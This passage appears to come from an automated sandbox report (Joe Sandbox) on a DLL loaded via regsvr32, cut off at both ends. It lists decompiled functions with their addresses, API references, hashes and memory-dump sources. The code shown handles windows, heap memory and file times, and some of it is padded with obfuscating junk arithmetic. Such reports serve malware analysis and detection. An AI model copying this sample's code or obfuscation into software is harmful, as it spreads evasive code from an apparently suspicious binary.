						_t142 = E6EB5D245(0, _t141, _t139, _t141, __eflags);
						__eflags = _v24;
						if(_v24 != 0) {
							__eflags = _v40.right - _v40.left;
							E6EB4F68B(_v8, _v40.left, _v40.top, _v40.right - _v40.left, _v40.bottom - _v40.top, 0);
							E6EB4F6CB(_v8, 0);
						}
						return _t142;
					} else {
						if(_v24 != 0) {
							E6EB4F68B(_v8, _v40.left, _v40.top, _v40.right - _v40.left, _v40.bottom - _v40.top, 0);
							E6EB4F6CB(_v8, 0);
						}
						return _v12;
					}
				}
				_t69 =  *((intOrPtr*)( *((intOrPtr*)(_t141 + 4)) + 0x50));
				_t70 =  *((intOrPtr*)( *_t69))(_t69, 0x6eb7b740,  &_v16);
				__eflags = _t70;
				if(_t70 >= 0) {
					_t71 = _v16;
					 *((intOrPtr*)( *_t71 + 0x14))(_t71,  &_v20);
					_t73 = _v16;
					 *((intOrPtr*)( *_t73 + 8))(_t73);
					_t75 = _v20;
					__eflags = _t75;
					if(_t75 == 0) {
						return 0x80004005;
					}
					_t138 = _t141 + 8;
					_v12 =  *((intOrPtr*)( *_t75))(_t75, 0x6eb7e114, _t138);
					_t77 = _v20;
					 *((intOrPtr*)( *_t77 + 8))(_t77);
					_t70 = _v12;
					__eflags = _t70;
					if(__eflags >= 0) {
						_t139 =  *_t138;
						 *((intOrPtr*)( *_t139))(_t139, 0x6eb7e124, _t141 + 0xc);
						goto L18;
					}
				}
				return _t70;
			}

0x6eb5dce7
0x6eb5dce7
0x6eb5dcf1
0x6eb5dcf3
0x6eb5dcf9
0x6eb5dcfb
0x6eb5dcfd
0x6eb5dcfd
0x6eb5dcfd
0x6eb5dd02
0x6eb5dd07
0x00000000
0x00000000
0x6eb5dd09
0x6eb5dd0b
0x6eb5dd10
0x6eb5dd15
0x00000000
0x00000000
0x6eb5dd1a
0x6eb5dd22
0x6eb5dd24
0x6eb5dd25
0x6eb5dd28
0x6eb5dd43
0x6eb5dd4f
0x6eb5dd5a
0x6eb5dd69
0x6eb5dd6f
0x6eb5dd79
0x6eb5dd79
0x6eb5dd81
0x6eb5dd86
0x6eb5dd89
0x6eb5dd8a
0x6eb5dd8f
0x6eb5dd94
0x6eb5dd96
0x6eb5dd9a
0x6eb5dda8
0x6eb5ddad
0x6eb5ddaf
0x6eb5ddaf
0x6eb5ddb9
0x6eb5de63
0x6eb5de6a
0x6eb5de6c
0x6eb5de6f
0x6eb5de7f
0x6eb5de89
0x6eb5de92
0x6eb5de92
0x00000000
0x6eb5ddbf
0x6eb5ddc2
0x6eb5dddc
0x6eb5dde5
0x6eb5dde5
0x00000000
0x6eb5ddea
0x6eb5ddb9
0x6eb5ddf5
0x6eb5de04
0x6eb5de06
0x6eb5de08
0x6eb5de0e
0x6eb5de18
0x6eb5de1b
0x6eb5de21
0x6eb5de24
0x6eb5de27
0x6eb5de29
0x00000000
0x6eb5de2b
0x6eb5de34
0x6eb5de40
0x6eb5de43
0x6eb5de49
0x6eb5de4c
0x6eb5de4f
0x6eb5de51
0x6eb5de53
0x6eb5de61
0x00000000
0x6eb5de61
0x6eb5de51
0x6eb5de9d

APIs

IsWindowVisible.USER32 ref: 6EB5DD1A
GetDesktopWindow.USER32 ref: 6EB5DD2A
GetWindowRect.USER32 ref: 6EB5DD43
GetWindowRect.USER32 ref: 6EB5DD4F

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Rect$DesktopException@8H_prolog3ThrowVisible
String ID:
API String ID: 584671360-0
Opcode ID: d7fed52fc73f0c99044e66e3c85a415f6c83df38f3f64b4e1c23caa9ce45e4eb
Instruction ID: 2fc09a58878601db2ba8365696b77616ccdfd726c7e2c7ac46812d05e9cddb25
Opcode Fuzzy Hash: d7fed52fc73f0c99044e66e3c85a415f6c83df38f3f64b4e1c23caa9ce45e4eb
Instruction Fuzzy Hash: 2051D7B5A1054AEFDF00DFE8D984CAEBBB9EF49204B204959E516EB264C730AD41CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45480 Relevance: 6.2, APIs: 4, Instructions: 161
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E6EB45480(void* __esi) {
				long _v4;
				void* _t63;
				signed int _t64;
				signed int _t80;
				signed int _t81;
				signed int _t100;
				intOrPtr _t106;
				signed int _t109;
				signed int _t110;
				signed int _t112;
				signed int _t113;
				intOrPtr _t117;
				intOrPtr _t119;
				signed int _t121;
				signed int _t139;
				intOrPtr _t153;
				void* _t165;
				signed int _t179;
				signed int _t182;
				void* _t184;
				void* _t185;

				_t165 = __esi;
				if(__esi != 0) {
					if( *((intOrPtr*)(__esi + 0x10)) != 0) {
						_t100 =  *0x6eb8a9c0; // 0x0
						_t117 =  *((intOrPtr*)(__esi + 4));
						_push(0);
						_push(0);
						_push(_t117);
						 *((intOrPtr*)( *((intOrPtr*)( *__esi + 0x28)) + ((1 - _t100 *  *0x6eb8a9c4 -  *0x6eb8a9d0) *  *0x6eb8a9c8 - _t100 *  *0x6eb8a9c4) * 4 + _t117))();
					}
					_t64 =  *0x6eb8a9cc; // 0x0
					 *0x6eb8d530( *((intOrPtr*)(_t165 + 0x30)) + (_t64 -  *0x6eb8a9bc +  *0x6eb8a9c8) * 8);
					_t185 = _t184 + 4;
					if( *((intOrPtr*)(_t165 + 8)) == 0) {
						L9:
						_t119 =  *((intOrPtr*)(_t165 + 4));
						if(_t119 != 0) {
							_t109 =  *0x6eb8a9bc; // 0x0
							_t56 = _t109 + 1; // 0x1
							_t110 =  *0x6eb8a9c4; // 0x0
							 *((intOrPtr*)( *((intOrPtr*)(_t165 + 0x20))))(_t119, 0, (_t56 *  *0x6eb8a9cc + _t110 + 1) *  *0x6eb8a9c0 +  *0x6eb8a9c8 + _t110 + 0x8000 + ((_t56 *  *0x6eb8a9cc + _t110 + 1) *  *0x6eb8a9c0 +  *0x6eb8a9c8 + _t110) * 2,  *((intOrPtr*)(_t165 + 0x34)));
						}
						return HeapFree(GetProcessHeap(), 0, _t165);
					} else {
						_t112 =  *0x6eb8a9c0; // 0x0
						_t121 =  *0x6eb8a9c4; // 0x0
						_t10 = _t112 + 1; // 0x1
						_t106 =  *0x6eb8a9d0; // 0x0
						_t80 =  *0x6eb8a9bc; // 0x0
						_t12 = _t112 + 1; // 0x1
						_t139 =  *0x6eb8a9cc; // 0x0
						_v4 = 0;
						if( *((intOrPtr*)(_t165 + 0xc)) + ((_t106 + _t12) * _t121 + _t80 + (2 - _t10 * _t121 - _t80) *  *0x6eb8a9c8 + _t139 * 2 + _t106 + _t112 + ((_t106 + _t12) * _t121 + _t80 + (2 - _t10 * _t121 - _t80) *  *0x6eb8a9c8 + _t139 * 2 + _t106 + _t112) * 2) * 2 <= 0) {
							L8:
							_t81 =  *0x6eb8a9c8; // 0x0
							_t113 =  *0x6eb8a9cc; // 0x0
							 *0x6eb8d530( *((intOrPtr*)(_t165 + 8)) + ((_t81 * _t112 * _t121 + 2) * _t121 - _t113 * _t113) * 8);
							_t185 = _t185 + 4;
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 = _t121 + 1; // 0x1
							_t80 =  *0x6eb8a9bc; // 0x0
							_t153 =  *((intOrPtr*)(_t165 + 8));
							if( *((intOrPtr*)(_t153 + (_v4 + ((_t80 - _t121 - 1) * _t112 + (_t106 + _t23) *  *0x6eb8a9cc + (_t121 - _t106) * 2 -  *0x6eb8a9c8 + _t80) * 2) * 4)) != 0) {
								_t182 =  *0x6eb8a9c8; // 0x0
								 *((intOrPtr*)( *((intOrPtr*)(_t165 + 0x2c))))( *((intOrPtr*)(_t153 + (_v4 + ((_t80 * _t112 + 1) *  *0x6eb8a9cc - _t182 * _t121 - _t106 - _t112) * 4 + (_t80 * _t112 + 1) *  *0x6eb8a9cc - _t182 * _t121 - _t106 - _t112) * 4)),  *((intOrPtr*)(_t165 + 0x34)));
								_t121 =  *0x6eb8a9c4; // 0x0
								_t112 =  *0x6eb8a9c0; // 0x0
								_t106 =  *0x6eb8a9d0; // 0x0
								_t80 =  *0x6eb8a9bc; // 0x0
								_t185 = _t185 + 8;
							}
							_t38 = _t112 + 1; // 0x1
							_v4 = _v4 + 1;
							_t42 = _t112 + 1; // 0x1
							_t179 =  *0x6eb8a9cc; // 0x0
						} while (_v4 <  *((intOrPtr*)(_t165 + 0xc)) + ((_t106 + _t42) * _t121 + _t80 + (2 - _t38 * _t121 - _t80) *  *0x6eb8a9c8 + _t179 * 2 + _t106 + _t112 + ((_t106 + _t42) * _t121 + _t80 + (2 - _t38 * _t121 - _t80) *  *0x6eb8a9c8 + _t179 * 2 + _t106 + _t112) * 2) * 2);
						goto L8;
					}
				}
				return _t63;
			}

0x6eb45480
0x6eb45483
0x6eb4548d
0x6eb4548f
0x6eb4549b
0x6eb454ab
0x6eb454bb
0x6eb454c0
0x6eb454c3
0x6eb454c3
0x6eb454c5
0x6eb454dd
0x6eb454e3
0x6eb454ea
0x6eb4564c
0x6eb4564c
0x6eb45651
0x6eb45656
0x6eb4565d
0x6eb45667
0x6eb4568e
0x6eb45690
0x00000000
0x6eb454f0
0x6eb454f0
0x6eb454f6
0x6eb454fc
0x6eb45503
0x6eb45512
0x6eb45520
0x6eb4552b
0x6eb45543
0x6eb4554d
0x6eb4561b
0x6eb4561b
0x6eb45623
0x6eb45640
0x6eb45646
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb45553
0x6eb45553
0x6eb4555d
0x6eb45577
0x6eb45582
0x6eb45589
0x6eb4559a
0x6eb455b9
0x6eb455bb
0x6eb455c1
0x6eb455c7
0x6eb455cd
0x6eb455d2
0x6eb455d2
0x6eb455d5
0x6eb455db
0x6eb455ef
0x6eb455fa
0x6eb45611
0x00000000
0x6eb45553
0x6eb454ea
0x6eb456a4

APIs

??3@YAXPAX@Z.MSVCRT ref: 6EB454DD
??3@YAXPAX@Z.MSVCRT ref: 6EB45640
GetProcessHeap.KERNEL32(00000000,00000000,6EB44C5E), ref: 6EB45696
HeapFree.KERNEL32(00000000), ref: 6EB4569D

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ??3@Heap$FreeProcess
String ID:
API String ID: 834397476-0
Opcode ID: 990229f739eb513dc7e4ef781f2c3d093a00c9cdb197a8d076e5606c5d0ecfa1
Instruction ID: deec0ea64340ab630873bf9e0478ef3b8e810becbd0c1d56f6b6d8fa8369372d
Opcode Fuzzy Hash: 990229f739eb513dc7e4ef781f2c3d093a00c9cdb197a8d076e5606c5d0ecfa1
Instruction Fuzzy Hash: 8A61BF32605E0A8FCB54CF58C981A92B7A6FBEA304F06C92AD5058B7D5DB75F506CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB58527 Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6EB58527(intOrPtr __ecx, signed int _a4) {
				intOrPtr _v8;
				struct HWND__* _v12;
				struct HWND__* _v16;
				struct HWND__* _v20;
				signed int _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t52;
				struct HWND__* _t55;
				intOrPtr _t56;
				struct HWND__* _t59;
				struct HWND__* _t60;
				int _t61;
				struct HWND__* _t67;
				struct HWND__* _t69;
				struct HWND__* _t70;
				struct HWND__* _t71;
				intOrPtr _t79;
				struct HWND__* _t81;
				signed int _t83;
				void* _t90;
				intOrPtr _t95;
				signed int _t96;
				signed int _t99;
				struct HWND__** _t101;

				_t96 = _a4;
				_t79 = __ecx;
				_v8 = __ecx;
				if(_t96 == 0) {
					return 0;
				}
				_t52 =  *(__ecx + 0x44);
				_a4 = 0;
				_v16 = _t52;
				_v20 = _t52;
				__eflags = _t52;
				if(_t52 != 0) {
					_a4 =  *(E6EB4ABF2( &_v16));
				}
				_t83 = 0;
				_v12 = 0;
				_v24 = 0;
				__eflags =  *(_t96 + 8);
				if( *(_t96 + 8) <= 0) {
					L32:
					__eflags = 1;
					return 1;
				} else {
					do {
						_t55 = _a4;
						__eflags = _t55;
						if(_t55 == 0) {
							L13:
							_t56 =  *((intOrPtr*)(_t96 + 0xc));
							_t99 = _t83 << 3;
							__eflags =  *(_t99 + _t56);
							if( *(_t99 + _t56) == 0) {
								goto L31;
							}
							__eflags = _v12;
							if(_v12 != 0) {
								_push(2);
								_push(_v12);
							} else {
								_t81 =  *(_t79 + 0x20);
								__eflags = _t81;
								if(_t81 != 0) {
									_t81 =  *(_t81 + 0x20);
								}
								_push(5);
								_push(_t81);
							}
							_t59 = E6EB57A58( *( *((intOrPtr*)(_t96 + 0xc)) + _t99), GetWindow());
							_t80 = _t59;
							__eflags = _t59;
							if(__eflags == 0) {
								_t67 =  *(_v8 + 0x20);
								__eflags = _t67;
								if(__eflags != 0) {
									_t67 =  *(_t67 + 0x20);
								}
								_t80 = GetDlgItem(_t67,  *( *((intOrPtr*)(_t96 + 0xc)) + _t99));
							}
							_t60 = E6EB47C96(__eflags, 0xc);
							__eflags = _t60;
							if(_t60 == 0) {
								_t101 = 0;
								__eflags = 0;
							} else {
								_t101 = E6EB5781B(_t60, _t80,  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0xc)) + _t99 + 4)));
							}
							_t61 = IsWindow( *_t101);
							__eflags = _t61;
							if(_t61 != 0) {
								_t90 = _v8 + 0x40;
								__eflags = _v20;
								_v12 =  *_t101;
								_push(_t101);
								if(__eflags == 0) {
									E6EB57BEF(_t80, _t90, _t96, _t101, __eflags);
								} else {
									_push(_v20);
									E6EB57C27(_t80, _t90, _t96, _t101, __eflags);
								}
							}
							_t79 = _v8;
							goto L31;
						}
						_t69 =  *(_t55 + 4);
						__eflags = _t69;
						if(_t69 == 0) {
							goto L13;
						}
						_t95 =  *((intOrPtr*)(_t96 + 0xc));
						__eflags =  *((intOrPtr*)(_t69 + 0x2c)) -  *((intOrPtr*)(_t95 + _t83 * 8));
						if( *((intOrPtr*)(_t69 + 0x2c)) !=  *((intOrPtr*)(_t95 + _t83 * 8))) {
							goto L13;
						}
						_t70 =  *(_t69 + 0x24);
						__eflags = _t70;
						if(_t70 != 0) {
							_v12 = _t70;
						}
						_t71 = _v16;
						_v20 = _t71;
						__eflags = _t71;
						if(_t71 == 0) {
							_a4 = _a4 & 0x00000000;
						} else {
							_a4 =  *(E6EB4ABF2( &_v16));
						}
						L31:
						_t83 = _v24 + 1;
						_v24 = _t83;
						__eflags = _t83 -  *(_t96 + 8);
					} while (_t83 <  *(_t96 + 8));
					goto L32;
				}
			}

0x6eb58532
0x6eb58537
0x6eb58539
0x6eb5853e
0x00000000
0x6eb58540
0x6eb58547
0x6eb5854a
0x6eb5854d
0x6eb58550
0x6eb58553
0x6eb58555
0x6eb58565
0x6eb58565
0x6eb58568
0x6eb5856a
0x6eb5856d
0x6eb58570
0x6eb58573
0x6eb58688
0x6eb5868a
0x00000000
0x6eb58579
0x6eb58579
0x6eb58579
0x6eb5857c
0x6eb5857e
0x6eb585c5
0x6eb585c5
0x6eb585ca
0x6eb585cd
0x6eb585d1
0x00000000
0x00000000
0x6eb585d7
0x6eb585db
0x6eb585ec
0x6eb585ee
0x6eb585dd
0x6eb585dd
0x6eb585e0
0x6eb585e2
0x6eb585e4
0x6eb585e4
0x6eb585e7
0x6eb585e9
0x6eb585e9
0x6eb585fe
0x6eb58603
0x6eb58607
0x6eb58609
0x6eb5860e
0x6eb58611
0x6eb58613
0x6eb58615
0x6eb58615
0x6eb58625
0x6eb58625
0x6eb58629
0x6eb5862f
0x6eb58631
0x6eb58646
0x6eb58646
0x6eb58633
0x6eb58642
0x6eb58642
0x6eb5864a
0x6eb58650
0x6eb58652
0x6eb58659
0x6eb5865c
0x6eb58660
0x6eb58663
0x6eb58664
0x6eb58670
0x6eb58666
0x6eb58666
0x6eb58669
0x6eb58669
0x6eb58664
0x6eb58675
0x00000000
0x6eb58675
0x6eb58580
0x6eb58583
0x6eb58585
0x00000000
0x00000000
0x6eb58587
0x6eb5858d
0x6eb58590
0x00000000
0x00000000
0x6eb58592
0x6eb58595
0x6eb58597
0x6eb58599
0x6eb58599
0x6eb5859c
0x6eb5859f
0x6eb585a2
0x6eb585a4
0x6eb585bc
0x6eb585a6
0x6eb585b4
0x6eb585b4
0x6eb58678
0x6eb5867b
0x6eb5867c
0x6eb5867f
0x6eb5867f
0x00000000
0x6eb58579

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4306f3f60f427a3270d105f8fd5a326de74ec8cd4e0ea1f95a5976771a5a0b8a
Instruction ID: 53cc1396aee24281c986b061ec17aaf9424eaf96ea288d84c125089242c2e0b8
Opcode Fuzzy Hash: 4306f3f60f427a3270d105f8fd5a326de74ec8cd4e0ea1f95a5976771a5a0b8a
Instruction Fuzzy Hash: 67512871A20256EFDB50CFE8D890A9DBBB8FF08344B11856AE915EB351D770E960CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60D9C Relevance: 6.1, APIs: 4, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB60D9C(void* __ebx, void* __ecx, void* __eflags, signed int* _a4) {
				signed int _v8;
				signed int _v12;
				char _v20;
				struct _FILETIME _v28;
				struct _FILETIME _v36;
				char _v44;
				void* __edi;
				void* __esi;
				void* _t56;
				signed int* _t60;
				signed int* _t82;
				signed int* _t85;
				signed int* _t88;
				struct _FILETIME* _t94;
				void* _t106;
				CHAR* _t107;
				signed int* _t108;
				void* _t112;

				_t91 = __ecx;
				_t108 = _a4;
				_t106 = __ecx;
				E6EB65E80(__ecx, _t108, 0, 0x128);
				E6EB48C1B(__ebx, _t91, _t106, _t108,  &(_t108[8]), 0x104,  *(_t106 + 0xc), 0xffffffff);
				_t56 =  *(_t106 + 4);
				_t112 = _t56 -  *0x6eb7b3d0; // 0xffffffff
				if(_t112 == 0) {
					L20:
					return 1;
				}
				_t94 =  &_v20;
				if(GetFileTime(_t56, _t94,  &_v28,  &_v36) != 0) {
					_t60 =  &_v12;
					__imp__GetFileSizeEx( *(_t106 + 4), _t60);
					if(_t60 == 0) {
						goto L2;
					}
					_t108[6] = _v12;
					_t108[7] = _v8;
					_t107 =  *(_t106 + 0xc);
					if( *((intOrPtr*)(_t107 - 0xc)) != 0) {
						_t108[8] = (_t94 & 0xffffff00 | GetFileAttributesA(_t107) == 0xffffffff) - 0x00000001 & _t64;
					} else {
						_t108[8] = 0;
					}
					if(E6EB60C19( &_v20) == 0) {
						 *_t108 =  *_t108 & 0x00000000;
						_t108[1] = _t108[1] & 0x00000000;
					} else {
						_t88 = E6EB60D3C( &_v44,  &_v20, 0xffffffff);
						 *_t108 =  *_t88;
						_t108[1] = _t88[1];
					}
					if(E6EB60C19( &_v28) == 0) {
						_t108[4] = 0;
						_t108[5] = 0;
					} else {
						_t85 = E6EB60D3C( &_v44,  &_v28, 0xffffffff);
						_t108[4] =  *_t85;
						_t108[5] = _t85[1];
					}
					if(E6EB60C19( &_v36) == 0) {
						_t108[2] = 0;
						_t108[3] = 0;
					} else {
						_t82 = E6EB60D3C( &_v44,  &_v36, 0xffffffff);
						_t108[2] =  *_t82;
						_t108[3] = _t82[1];
					}
					if(( *_t108 | _t108[1]) == 0) {
						 *_t108 = _t108[2];
						_t108[1] = _t108[3];
					}
					if((_t108[4] | _t108[5]) == 0) {
						_t108[4] = _t108[2];
						_t108[5] = _t108[3];
					}
					goto L20;
				}
				L2:
				return 0;
			}

0x6eb60d9c
0x6eb60da5
0x6eb60db1
0x6eb60db3
0x6eb60dc6
0x6eb60dcb
0x6eb60dd1
0x6eb60dd7
0x6eb60ef3
0x00000000
0x6eb60ef5
0x6eb60de5
0x6eb60df2
0x6eb60dfb
0x6eb60e02
0x6eb60e0a
0x00000000
0x00000000
0x6eb60e0f
0x6eb60e15
0x6eb60e18
0x6eb60e1f
0x6eb60e38
0x6eb60e21
0x6eb60e21
0x6eb60e21
0x6eb60e46
0x6eb60e62
0x6eb60e65
0x6eb60e48
0x6eb60e51
0x6eb60e58
0x6eb60e5d
0x6eb60e5d
0x6eb60e74
0x6eb60e95
0x6eb60e98
0x6eb60e76
0x6eb60e7f
0x6eb60e86
0x6eb60e8c
0x6eb60e8c
0x6eb60ea6
0x6eb60ec7
0x6eb60eca
0x6eb60ea8
0x6eb60eb1
0x6eb60eb8
0x6eb60ebe
0x6eb60ebe
0x6eb60ed2
0x6eb60ed7
0x6eb60edc
0x6eb60edc
0x6eb60ee5
0x6eb60eea
0x6eb60ef0
0x6eb60ef0
0x00000000
0x6eb60ee5
0x6eb60df4
0x00000000

APIs

_memset.LIBCMT ref: 6EB60DB3

Part of subcall function 6EB48C1B: __cftof.LIBCMT ref: 6EB48C2C

GetFileTime.KERNEL32(?,?,?,?), ref: 6EB60DEA
GetFileSizeEx.KERNEL32(?,?), ref: 6EB60E02

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: File$SizeTime__cftof_memset
String ID:
API String ID: 2749391713-0
Opcode ID: c40b83ee1b7fa4f7d5157b040f29dd8ec98d687f673a6623ed5809d2a173c247
Instruction ID: 6040e0aecd72dcce737a4174c2c456d76beee7e1fffbdb1c4fde63bbed81d1ca
Opcode Fuzzy Hash: c40b83ee1b7fa4f7d5157b040f29dd8ec98d687f673a6623ed5809d2a173c247
Instruction Fuzzy Hash: BD510C719146569FCB24CFAAD840D9ABBF8FB09320F008A2DE5A6D3690E730F545CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4FB3E Relevance: 6.1, APIs: 4, Instructions: 104
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB4FB3E(void* __ecx, struct HWND__** _a4) {
				struct HWND__** _v8;
				struct HWND__** _v12;
				long _t31;
				struct HWND__** _t32;
				struct HWND__** _t44;
				struct HWND__** _t45;
				long _t47;
				void* _t49;
				struct HWND__** _t63;

				_push(__ecx);
				_push(__ecx);
				_t49 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x4c)) != 0) {
					_t31 = _a4;
					if(_t31 != 0) {
						if( *((intOrPtr*)(_t31 + 8)) == 0) {
							L4:
							_t32 = E6EB56750( *((intOrPtr*)(_t49 + 0x4c)) + 0x40, _t31, 0);
							_v12 = _t32;
							_a4 = _t32;
							E6EB4ABF2( &_a4);
							while(_a4 != 0) {
								_t37 =  *((intOrPtr*)(E6EB4ABF2( &_a4)));
								_v8 =  *((intOrPtr*)(E6EB4ABF2( &_a4)));
								if((E6EB4F7CC(_t37) & 0x00020000) != 0) {
									break;
								} else {
									_t45 = _v8;
									if(_t45[2] == 0 || SendMessageA( *_t45, 0xf0, 0, 0) != 1) {
										continue;
									} else {
										L16:
										_t44 = _v8;
										goto L17;
									}
								}
								goto L18;
							}
							_a4 = _v12;
							_t31 = E6EB4F8E8( &_a4);
							while(_a4 != 0) {
								_t63 =  *(E6EB4F8E8( &_a4));
								_v8 = _t63;
								if(_t63[2] == 0) {
									L13:
									_t31 = E6EB4F7CC(_t63);
									if((_t31 & 0x00020000) == 0) {
										continue;
									}
								} else {
									if(SendMessageA( *_t63, 0xf0, 0, 0) == 1) {
										goto L16;
									} else {
										_t63 = _v8;
										goto L13;
									}
								}
								goto L18;
							}
						} else {
							_t47 = SendMessageA( *_t31, 0xf0, 0, 0);
							_t44 = _a4;
							if(_t47 == 1) {
								L17:
								_t31 = SendMessageA( *_t44, 0xf1, 0, 0);
							} else {
								goto L4;
							}
						}
						L18:
					}
				}
				return _t31;
			}

0x6eb4fb43
0x6eb4fb44
0x6eb4fb47
0x6eb4fb4e
0x6eb4fb54
0x6eb4fb59
0x6eb4fb69
0x6eb4fb82
0x6eb4fb8a
0x6eb4fb92
0x6eb4fb95
0x6eb4fb9f
0x6eb4fbe0
0x6eb4fbb5
0x6eb4fbb9
0x6eb4fbc6
0x00000000
0x6eb4fbc8
0x6eb4fbc8
0x6eb4fbce
0x00000000
0x6eb4fc3b
0x6eb4fc3b
0x6eb4fc3b
0x00000000
0x6eb4fc3b
0x6eb4fbce
0x00000000
0x6eb4fbc6
0x6eb4fbeb
0x6eb4fbf5
0x6eb4fc34
0x6eb4fc0b
0x6eb4fc0d
0x6eb4fc13
0x6eb4fc28
0x6eb4fc28
0x6eb4fc32
0x00000000
0x00000000
0x6eb4fc15
0x6eb4fc23
0x00000000
0x6eb4fc25
0x6eb4fc25
0x00000000
0x6eb4fc25
0x6eb4fc23
0x00000000
0x6eb4fc13
0x6eb4fb6b
0x6eb4fb74
0x6eb4fb79
0x6eb4fb7c
0x6eb4fc3e
0x6eb4fc47
0x00000000
0x00000000
0x00000000
0x6eb4fb7c
0x6eb4fc49
0x6eb4fc49
0x6eb4fb59
0x6eb4fc4d

APIs

SendMessageA.USER32 ref: 6EB4FB74
SendMessageA.USER32 ref: 6EB4FBD9
SendMessageA.USER32 ref: 6EB4FC1E
SendMessageA.USER32 ref: 6EB4FC47

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6a049f3873367ed301024d363a03c62fdb1fe40739116c862de71420d1c427cc
Instruction ID: 1b65ee452e66fb4d88def6e6bf56e575620373f2e41b31a2b99afeade1f60408
Opcode Fuzzy Hash: 6a049f3873367ed301024d363a03c62fdb1fe40739116c862de71420d1c427cc
Instruction Fuzzy Hash: EC318170550259FFDB15CF95C8A0E9E3F6AEF42790F20906AF9059B219DB30ED81EB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB71F42 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB71F42(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E6EB66BE4( &_v20, __edi, _a16);
						_t43 = _v20;
